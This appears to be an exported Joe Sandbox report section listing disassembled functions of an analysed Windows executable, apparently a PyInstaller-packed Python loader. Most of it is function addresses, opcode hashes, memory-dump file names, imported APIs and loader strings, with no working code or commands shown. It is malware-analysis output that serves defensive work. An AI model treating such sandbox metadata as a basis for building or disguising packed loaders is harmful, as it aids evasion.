API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: e679193b4f92434cc558a1156ae9b62e5a6ceff8845571a1df199170146ecb9f
Instruction ID: 30afed4ef3c32be3ea3605005c35372a68f52125249dda3c3a911f07ceeb5580
Opcode Fuzzy Hash: e679193b4f92434cc558a1156ae9b62e5a6ceff8845571a1df199170146ecb9f
Instruction Fuzzy Hash: AB610C22E0C15246FBA8BA289444B7DE685BF40760FFC0239D69D466C5FF6DEC08C722

Function 00007FF78DA61DC4 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27099d1c67046ba5536a5c52bb1b19252402c8bb4a5167aa336477e7b6d5f807
Instruction ID: 443a1397d8944c37db6e23d77d5a83663081e6076588b6367165fda4696947af
Opcode Fuzzy Hash: 27099d1c67046ba5536a5c52bb1b19252402c8bb4a5167aa336477e7b6d5f807
Instruction Fuzzy Hash: 8651C576A1D652C6E7249BA8E040A38BBA0FB54B58F744231CE4C477D4EB3AEC47C751

Function 00007FF78DA621D4 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e69dfdcc94a0aa650623f7423aa354004c1f2fa01d5c1268249020d4c21f447
Instruction ID: 984e4125b308fdc0e568a4371ac1cd48e4d0a84f9de52bf1df9cc309758da792
Opcode Fuzzy Hash: 8e69dfdcc94a0aa650623f7423aa354004c1f2fa01d5c1268249020d4c21f447
Instruction Fuzzy Hash: 7E517F76A5C651C2E7249F69E040A28A3A0FB94F68FB44131CE4C1B7D4EB3AEC47C752

Function 00007FF78DA619B4 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68a3f5aab59b2fac328bd6ba34d5b1cd1fa94c6914f84dc4a79da3b9d8ff9a98
Instruction ID: cd5fce4b1f65f90b53cafdb82dfc57184c6dba80c483b256fbdcbfa91055e2fc
Opcode Fuzzy Hash: 68a3f5aab59b2fac328bd6ba34d5b1cd1fa94c6914f84dc4a79da3b9d8ff9a98
Instruction Fuzzy Hash: 4A51B432A1C651C2E7249FA9E040A38BBA0FB54B68FB44131DA4D577D4EB3AEC47C791

Function 00007FF78DA61FD0 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e734bc54909bdf7d9c6fd1772be64da5dc64d4f5bf3044a39ac3ba7850561882
Instruction ID: 0eaa4aead400b506798bdca607f4ccc9bb4c21ed5b6ebc87466fc073fb22695d
Opcode Fuzzy Hash: e734bc54909bdf7d9c6fd1772be64da5dc64d4f5bf3044a39ac3ba7850561882
Instruction Fuzzy Hash: 1851B036A5C652C6E7249B68E040B38B7A0FB44B58FB54031CE4C177E8EB3AEC46C751

Function 00007FF78DA617B0 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3943df286285c50b07f09d339b53caaa0afa34ddfac4fad96d8a3f7ffd6ad23b
Instruction ID: 3bfcad7f0dfb07c0f805a37f2ab3a0c339be2792e357d709ee5a82986354a1d7
Opcode Fuzzy Hash: 3943df286285c50b07f09d339b53caaa0afa34ddfac4fad96d8a3f7ffd6ad23b
Instruction Fuzzy Hash: 7051BE37A1C651C6E7249FA9E040A3CABA1FB45B58FB44031CA4C17798EB3AEC46C791

Function 00007FF78DA61BC0 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc981bf603441a130e1c6ba5e96f77be0c3c60e19ec03e3d560a09712d731568
Instruction ID: 62718109949da17f1dba479c59f611c5cc6d3b0b24373a8d1f369bfc637bc79e
Opcode Fuzzy Hash: dc981bf603441a130e1c6ba5e96f77be0c3c60e19ec03e3d560a09712d731568
Instruction Fuzzy Hash: EC51AF33A1CA51C6E7249BA9E040A3CABA1FB45B58FB44131CE4C177A4EB3AEC47C751

Function 00007FF78DA65DA0 Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dde3b7cfbcf26fc8d7513faefc9a59c4b8821272907dfbb35b6db6355186da00
Instruction ID: 746e9be1905881e63524dd3d8a0fec78f6c73e0f6584988dfa765490dc825bf7
Opcode Fuzzy Hash: dde3b7cfbcf26fc8d7513faefc9a59c4b8821272907dfbb35b6db6355186da00
Instruction Fuzzy Hash: E541996280E64AC4ED55D9E85504E78A680BF62BA0EF85270DD99537C2FD0EED4EC123

Function 00007FF78DA69F10 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 4700cc90785079b7bb7a0602c46334a4ae9c6cdcc1bc7f68a8ec9cd099c19dcc
Instruction ID: 06c9f5f90ca3a2f4b2d147d68bde127a6b59ad1dec882ada104ec033341511c5
Opcode Fuzzy Hash: 4700cc90785079b7bb7a0602c46334a4ae9c6cdcc1bc7f68a8ec9cd099c19dcc
Instruction Fuzzy Hash: C9413632718A4581EF08DF6AE914569B3A1FB48FC4BB99432DE0D97B58EE3DC845C301

Function 00007FF78DA68154 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12404f4f4f1323fea4d4e583727f71dd7b5a0d93f2e51056eadc76cf5c92dd81
Instruction ID: 10de8b6945cb83507c0a085093c9381b34a55cac5db960aa027bf6dc3117bb8c
Opcode Fuzzy Hash: 12404f4f4f1323fea4d4e583727f71dd7b5a0d93f2e51056eadc76cf5c92dd81
Instruction Fuzzy Hash: 3731C332A0CB4281E754AF71744052EA694BB84BA0FB44239EA9D53BD5EF3CD805C315

Function 00007FF78DA795E0 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bcf48121633763fd2f6aa1741893fa818c421e56c797f7e3558f0bc07bbc94c0
Instruction ID: 9f75ebcdf39393c0ebfb282d70558a24d25536e3edd9fd10a10578a443760137
Opcode Fuzzy Hash: bcf48121633763fd2f6aa1741893fa818c421e56c797f7e3558f0bc07bbc94c0
Instruction Fuzzy Hash: 7EF0C87571C2519ADB98DF78A802A2A77E1F7083C0FA08039D59C83B14EA3CC461DF14

Function 00007FF78DA5D37C Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6acc2ec838af36dd9636ef9e1d94249ffac8b7a33868b0b47a68aa66541c0b8
Instruction ID: 499e0fd42110caf9fdccb5f266ff4bf463625b06d34f1a7cfa703cfd9cb24177
Opcode Fuzzy Hash: e6acc2ec838af36dd9636ef9e1d94249ffac8b7a33868b0b47a68aa66541c0b8
Instruction Fuzzy Hash: 99A002A190DC0AD0EA44AF40E8A0875A330FB60314BF00071F05D814B0FF3CAC48D363

Function 00007FF78DA55820 Relevance: 229.6, APIs: 86, Strings: 45, Instructions: 400libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,00007FF78DA564BF,?,00007FF78DA5336E), ref: 00007FF78DA55830
GetLastError.KERNEL32(?,00007FF78DA564BF,?,00007FF78DA5336E), ref: 00007FF78DA55842
GetProcAddress.KERNEL32(?,00007FF78DA564BF,?,00007FF78DA5336E), ref: 00007FF78DA55879
GetLastError.KERNEL32(?,00007FF78DA564BF,?,00007FF78DA5336E), ref: 00007FF78DA5588B
GetProcAddress.KERNEL32(?,00007FF78DA564BF,?,00007FF78DA5336E), ref: 00007FF78DA558A4
GetLastError.KERNEL32(?,00007FF78DA564BF,?,00007FF78DA5336E), ref: 00007FF78DA558B6
GetProcAddress.KERNEL32(?,00007FF78DA564BF,?,00007FF78DA5336E), ref: 00007FF78DA558CF
GetLastError.KERNEL32(?,00007FF78DA564BF,?,00007FF78DA5336E), ref: 00007FF78DA558E1
GetProcAddress.KERNEL32(?,00007FF78DA564BF,?,00007FF78DA5336E), ref: 00007FF78DA558FD
GetLastError.KERNEL32(?,00007FF78DA564BF,?,00007FF78DA5336E), ref: 00007FF78DA5590F
GetProcAddress.KERNEL32(?,00007FF78DA564BF,?,00007FF78DA5336E), ref: 00007FF78DA5592B
GetLastError.KERNEL32(?,00007FF78DA564BF,?,00007FF78DA5336E), ref: 00007FF78DA5593D
GetProcAddress.KERNEL32(?,00007FF78DA564BF,?,00007FF78DA5336E), ref: 00007FF78DA55959
GetLastError.KERNEL32(?,00007FF78DA564BF,?,00007FF78DA5336E), ref: 00007FF78DA5596B
GetProcAddress.KERNEL32(?,00007FF78DA564BF,?,00007FF78DA5336E), ref: 00007FF78DA55987
GetLastError.KERNEL32(?,00007FF78DA564BF,?,00007FF78DA5336E), ref: 00007FF78DA55999
GetProcAddress.KERNEL32(?,00007FF78DA564BF,?,00007FF78DA5336E), ref: 00007FF78DA559B5
GetLastError.KERNEL32(?,00007FF78DA564BF,?,00007FF78DA5336E), ref: 00007FF78DA559C7

Strings

PyObject_CallFunctionObjArgs, xrefs: 00007FF78DA55D15, 00007FF78DA55D37
PyModule_GetDict, xrefs: 00007FF78DA55CB9, 00007FF78DA55CDB
PyConfig_Read, xrefs: 00007FF78DA559D9, 00007FF78DA559FB
PyUnicode_DecodeFSDefault, xrefs: 00007FF78DA55F0F, 00007FF78DA55F31
PyMem_RawFree, xrefs: 00007FF78DA55C8B, 00007FF78DA55CAD
PyImport_AddModule, xrefs: 00007FF78DA55BD3, 00007FF78DA55BF5
PyErr_Restore, xrefs: 00007FF78DA55B77, 00007FF78DA55B99
PySys_SetObject, xrefs: 00007FF78DA55E85, 00007FF78DA55EA7
PyImport_ExecCodeModule, xrefs: 00007FF78DA55C01, 00007FF78DA55C23
PyUnicode_FromFormat, xrefs: 00007FF78DA55F3D, 00007FF78DA55F5F
PyConfig_SetWideStringList, xrefs: 00007FF78DA55A63, 00007FF78DA55A85
Py_IsInitialized, xrefs: 00007FF78DA55921, 00007FF78DA55943
PyMarshal_ReadObjectFromString, xrefs: 00007FF78DA55C5D, 00007FF78DA55C7F
PyImport_ImportModule, xrefs: 00007FF78DA55C2F, 00007FF78DA55C51
Py_DecRef, xrefs: 00007FF78DA55826, 00007FF78DA55848
PyObject_SetAttrString, xrefs: 00007FF78DA55D71, 00007FF78DA55D93
PyUnicode_Join, xrefs: 00007FF78DA55F99, 00007FF78DA55FBB
GetProcAddress, xrefs: 00007FF78DA55858
PyRun_SimpleStringFlags, xrefs: 00007FF78DA55DFB, 00007FF78DA55E1D
PyPreConfig_InitIsolatedConfig, xrefs: 00007FF78DA55DCD, 00007FF78DA55DEF
Py_DecodeLocale, xrefs: 00007FF78DA5586F, 00007FF78DA55891
PyErr_Clear, xrefs: 00007FF78DA55A91, 00007FF78DA55AB3
PyErr_Print, xrefs: 00007FF78DA55B49, 00007FF78DA55B6B
PyUnicode_FromString, xrefs: 00007FF78DA55F6B, 00007FF78DA55F8D
PyObject_CallFunction, xrefs: 00007FF78DA55CE7, 00007FF78DA55D09
PyUnicode_Replace, xrefs: 00007FF78DA55FC7, 00007FF78DA55FE9
Py_PreInitialize, xrefs: 00007FF78DA5594F, 00007FF78DA55971
PyUnicode_AsUTF8, xrefs: 00007FF78DA55EB3, 00007FF78DA55ED5
PyObject_GetAttrString, xrefs: 00007FF78DA55D43, 00007FF78DA55D65
Py_ExitStatusException, xrefs: 00007FF78DA5589A, 00007FF78DA558BC
PyObject_Str, xrefs: 00007FF78DA55D9F, 00007FF78DA55DC1
Failed to get address for %hs, xrefs: 00007FF78DA55851
PyStatus_Exception, xrefs: 00007FF78DA55E29, 00007FF78DA55E4B
PyErr_Occurred, xrefs: 00007FF78DA55B1B, 00007FF78DA55B3D
PyErr_Fetch, xrefs: 00007FF78DA55ABF, 00007FF78DA55AE1
PyConfig_SetString, xrefs: 00007FF78DA55A35, 00007FF78DA55A57
PyConfig_Clear, xrefs: 00007FF78DA5597D, 00007FF78DA5599F
Py_Finalize, xrefs: 00007FF78DA558C5, 00007FF78DA558E7
Py_InitializeFromConfig, xrefs: 00007FF78DA558F3, 00007FF78DA55915
PyUnicode_Decode, xrefs: 00007FF78DA55EE1, 00007FF78DA55F03
PyConfig_SetBytesString, xrefs: 00007FF78DA55A07, 00007FF78DA55A29
PyConfig_InitIsolatedConfig, xrefs: 00007FF78DA559AB, 00007FF78DA559CD
PySys_GetObject, xrefs: 00007FF78DA55E57, 00007FF78DA55E79
PyErr_NormalizeException, xrefs: 00007FF78DA55AED, 00007FF78DA55B0F
PyEval_EvalCode, xrefs: 00007FF78DA55BA5, 00007FF78DA55BC7

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: AddressErrorLastProc
String ID: Failed to get address for %hs$GetProcAddress$PyConfig_Clear$PyConfig_InitIsolatedConfig$PyConfig_Read$PyConfig_SetBytesString$PyConfig_SetString$PyConfig_SetWideStringList$PyErr_Clear$PyErr_Fetch$PyErr_NormalizeException$PyErr_Occurred$PyErr_Print$PyErr_Restore$PyEval_EvalCode$PyImport_AddModule$PyImport_ExecCodeModule$PyImport_ImportModule$PyMarshal_ReadObjectFromString$PyMem_RawFree$PyModule_GetDict$PyObject_CallFunction$PyObject_CallFunctionObjArgs$PyObject_GetAttrString$PyObject_SetAttrString$PyObject_Str$PyPreConfig_InitIsolatedConfig$PyRun_SimpleStringFlags$PyStatus_Exception$PySys_GetObject$PySys_SetObject$PyUnicode_AsUTF8$PyUnicode_Decode$PyUnicode_DecodeFSDefault$PyUnicode_FromFormat$PyUnicode_FromString$PyUnicode_Join$PyUnicode_Replace$Py_DecRef$Py_DecodeLocale$Py_ExitStatusException$Py_Finalize$Py_InitializeFromConfig$Py_IsInitialized$Py_PreInitialize
API String ID: 199729137-653951865
Opcode ID: 3ca4f2c8e8fa74ff45c561f9825c8e8d27386d4e804e1314c270c66bff6859f6
Instruction ID: fef82d59517939dd146c14e1ff82832a8dcacd02e2e7bb97cdbdc97c2b4d5b7b
Opcode Fuzzy Hash: 3ca4f2c8e8fa74ff45c561f9825c8e8d27386d4e804e1314c270c66bff6859f6
Instruction Fuzzy Hash: DA228D64A0DF07D1FA55FFA5A8149B4A2A1BF04785BF41035C8AE423A0FF3DAD4DD262

Function 00007FF78DA581C0 Relevance: 24.6, APIs: 6, Strings: 8, Instructions: 117COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF78DA59400: MultiByteToWideChar.KERNEL32(?,?,?,00007FF78DA545E4,00000000,00007FF78DA51985), ref: 00007FF78DA59439

ExpandEnvironmentStringsW.KERNEL32(?,00007FF78DA588A7,?,?,00000000,00007FF78DA53CBB), ref: 00007FF78DA5821C

Part of subcall function 00007FF78DA52810: MessageBoxW.USER32 ref: 00007FF78DA528EA

Strings

CreateDirectory, xrefs: 00007FF78DA5836C
LOADER: failed to create runtime-tmpdir path %ls!, xrefs: 00007FF78DA58363
LOADER: failed to expand environment variables in the runtime-tmpdir., xrefs: 00007FF78DA58230
\, xrefs: 00007FF78DA58251
LOADER: failed to obtain the absolute path of the runtime-tmpdir., xrefs: 00007FF78DA582C9
%.*s, xrefs: 00007FF78DA582FC
LOADER: runtime-tmpdir points to non-existent drive %ls (type: %d)!, xrefs: 00007FF78DA5828D
LOADER: failed to convert runtime-tmpdir to a wide string., xrefs: 00007FF78DA581F3

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: ByteCharEnvironmentExpandMessageMultiStringsWide
String ID: %.*s$CreateDirectory$LOADER: failed to convert runtime-tmpdir to a wide string.$LOADER: failed to create runtime-tmpdir path %ls!$LOADER: failed to expand environment variables in the runtime-tmpdir.$LOADER: failed to obtain the absolute path of the runtime-tmpdir.$LOADER: runtime-tmpdir points to non-existent drive %ls (type: %d)!$\
API String ID: 1662231829-930877121
Opcode ID: e491f33a4545c5dc9e33b4da933e1c9d98f9a36929a11ac7b8a73595df86892f
Instruction ID: 23054a6fd8a26b0dc214830d14919f2e1e36ddfb21da7f8b43014f6db94a4899
Opcode Fuzzy Hash: e491f33a4545c5dc9e33b4da933e1c9d98f9a36929a11ac7b8a73595df86892f
Instruction Fuzzy Hash: D951A211A2D64291EB50BBA0E851EBAE270BF94790FF44031D95EC66D5FE2CEC0DC762

Function 00007FF78DA52180 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF78DA521AB
SelectObject.GDI32 ref: 00007FF78DA521F2
DrawTextW.USER32 ref: 00007FF78DA52215
SelectObject.GDI32 ref: 00007FF78DA5222B
ReleaseDC.USER32 ref: 00007FF78DA5223B
MoveWindow.USER32 ref: 00007FF78DA5228B
MoveWindow.USER32 ref: 00007FF78DA522CB
MoveWindow.USER32 ref: 00007FF78DA5231E
MoveWindow.USER32 ref: 00007FF78DA52366

Strings

P%, xrefs: 00007FF78DA521FF

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: MoveWindow$ObjectSelect$DrawReleaseText
String ID: P%
API String ID: 2147705588-2959514604
Opcode ID: 044398bc2faddcfc72e28419b1c607044beef288ba0900b5e0371f537bcab75f
Instruction ID: 6b2b1fd78fbbcd4b6f597d47d0c8c13f53cc20c9b6f00f659d63b7c579709318
Opcode Fuzzy Hash: 044398bc2faddcfc72e28419b1c607044beef288ba0900b5e0371f537bcab75f
Instruction Fuzzy Hash: 295128666087A186D6349F22E4185BAF7A1F798B61F504131EFDE43694EF3CD449CB20

Function 00007FF78DA580B0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

GetWindowLongPtrW.USER32 ref: 00007FF78DA580EF
GetWindowLongPtrW.USER32 ref: 00007FF78DA5816F
ShutdownBlockReasonCreate.USER32 ref: 00007FF78DA58182
GetLastError.KERNEL32 ref: 00007FF78DA5818C
SetWindowLongPtrW.USER32 ref: 00007FF78DA581A3

Strings

Needs to remove its temporary files., xrefs: 00007FF78DA58175

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

